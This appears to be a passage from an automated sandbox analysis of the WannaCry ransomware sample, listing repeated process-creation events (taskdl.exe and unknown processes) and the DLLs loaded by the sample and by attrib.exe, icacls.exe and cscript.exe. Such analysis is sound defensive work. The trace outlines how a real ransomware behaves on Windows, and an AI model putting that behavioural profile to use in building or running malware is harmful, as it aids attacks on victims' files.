            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: unknown unknown
            Source: C:\Users\user\Desktop\WannaCry_2.EXESection loaded: cryptsp.dllJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXESection loaded: rsaenh.dllJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXESection loaded: cryptbase.dllJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXESection loaded: msvcp60.dllJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXESection loaded: ntmarta.dllJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXESection loaded: apphelp.dllJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXESection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXESection loaded: wldp.dllJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXESection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\dllhost.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\System32\dllhost.exeSection loaded: uxtheme.dll
            Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
            Source: C:\Windows\System32\dllhost.exeSection loaded: propsys.dll
            Source: C:\Windows\System32\dllhost.exeSection loaded: photometadatahandler.dll
            Source: C:\Windows\System32\dllhost.exeSection loaded: windowscodecs.dll
            Source: C:\Windows\System32\dllhost.exeSection loaded: onecoreuapcommonproxystub.dll
            Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
            Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
            Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
            Source: C:\Windows\System32\dllhost.exeSection loaded: windows.storage.dll
            Source: C:\Windows\System32\dllhost.exeSection loaded: wldp.dll
            Source: C:\Windows\System32\dllhost.exeSection loaded: windows.staterepositoryps.dll
            Source: C:\Windows\System32\dllhost.exeSection loaded: wintypes.dll
            Source: C:\Windows\System32\dllhost.exeSection loaded: apphelp.dll
            Source: C:\Windows\System32\dllhost.exeSection loaded: mfsrcsnk.dll
            Source: C:\Windows\System32\dllhost.exeSection loaded: mfplat.dll
            Source: C:\Windows\System32\dllhost.exeSection loaded: rtworkq.dll
            Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
            Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
            Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
            Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
            Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
            Source: C:\Windows\SysWOW64\attrib.exeSection loaded: ulib.dll
            Source: C:\Windows\SysWOW64\attrib.exeSection loaded: fsutilext.dll
            Source: C:\Windows\SysWOW64\icacls.exeSection loaded: ntmarta.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: apphelp.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: version.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: uxtheme.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: sxs.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: vbscript.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: amsi.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: userenv.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: profapi.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: wldp.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: msasn1.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: cryptsp.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: rsaenh.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: cryptbase.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: msisip.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: wshext.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: scrobj.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: mpr.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: scrrun.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: windows.storage.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: propsys.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: linkinfo.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: ntshrui.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: sspicli.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: srvcli.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: cscapi.dll
            Source: C:\Windows\SysWOW64\cscript.exeSection loaded: netutils.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: moshost.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: mapsbtsvc.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: mosstorage.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: ztrace_maps.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: ztrace_maps.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: ztrace_maps.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: bcp47langs.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: mapconfiguration.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: windows.storage.dll
            Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
